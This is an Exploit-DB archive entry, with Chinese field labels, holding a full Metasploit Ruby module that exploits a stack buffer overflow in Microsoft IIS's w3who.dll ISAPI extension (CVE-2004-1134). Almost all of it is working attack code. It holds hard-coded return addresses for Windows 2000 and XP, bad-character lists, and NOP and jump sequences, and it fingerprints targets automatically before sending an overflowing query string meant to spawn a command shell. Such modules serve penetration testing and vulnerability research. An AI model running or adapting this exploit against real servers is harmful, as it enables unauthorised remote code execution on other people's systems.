标题: Microsoft IIS - ISAPI 'w3who.dll' Query String Overflow (Metasploit) EDB-ID: 16354 CVE: 2004-1134 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-07 漏洞利用脚本: ##
# $Id: w3who_query.rb 9719 2010-07-07 17:38:59Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 # XXX: Needs custom body check. HttpFingerprint = { :pattern => [ // ] }
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft IIS ISAPI w3who.dll Query String Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the w3who.dll ISAPI
    application. This vulnerability was discovered Nicolas
    Gregoire and this code has been successfully tested against
    Windows 2000 and Windows XP (SP2). When exploiting Windows
    XP, the payload must call RevertToSelf before it will be
    able to spawn a command shell.

   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9719 $',
   'References'     =>
    [
     [ 'CVE', '2004-1134' ],
     [ 'OSVDB', '12258' ],
     [ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html' ],
     [ 'BID', '11820' ]
    ],
   'Privileged'     => false,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 632,
     'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
     'MinNops'  => 128,
     'StackAdjustment' => -3500,

    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Automatic Detection', { }],
     ['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [  48,  0x01169f4a ] }], # pop, pop, ret magic
     ['Windows 2000 RESKIT DLL [Windows XP]',   { 'Rets' => [ 748,  0x10019f4a ] }], # pop, pop, ret magic
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Dec 6 2004'))

  register_options(
   [
    OptString.new('URL', [ true,  "The path to w3who.dll", "/scripts/w3who.dll" ]),
   ], self.class)
 end

 def auto_target

  res = send_request_raw(
   {
    'uri'   => datastore['URL']
   }, -1)
  http_fingerprint({ :response => res })  # XXX: Needs custom body match

  # Was a vulnerable system detected?
  t = nil
  if (res and res.body =~ /Access Token/)
   case res.headers['Server']
   when /5\.1/
    t = targets[2]
   else
    t = targets[1]
   end
  end
  t
 end

 def check
  if auto_target
   return Exploit::CheckCode::Vulnerable
  end
  Exploit::CheckCode::Safe
 end

 def exploit

  if (target.name =~ /Automatic/)
   mytarget = auto_target
  else
   mytarget = target
  end

  if not mytarget
   raise RuntimeError, "No valid target found"
  end

  buf = rand_text_english(8192, payload_badchars)
  buf[mytarget['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04"
  buf[mytarget['Rets'][0] - 0, 4] = [ mytarget['Rets'][1] ].pack('V')
  buf[mytarget['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V')
  buf[mytarget['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded

  print_status("Sending request...")
  r = send_request_raw({
   'uri'   => datastore['URL'],
   'query' => buf
  }, 5)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16354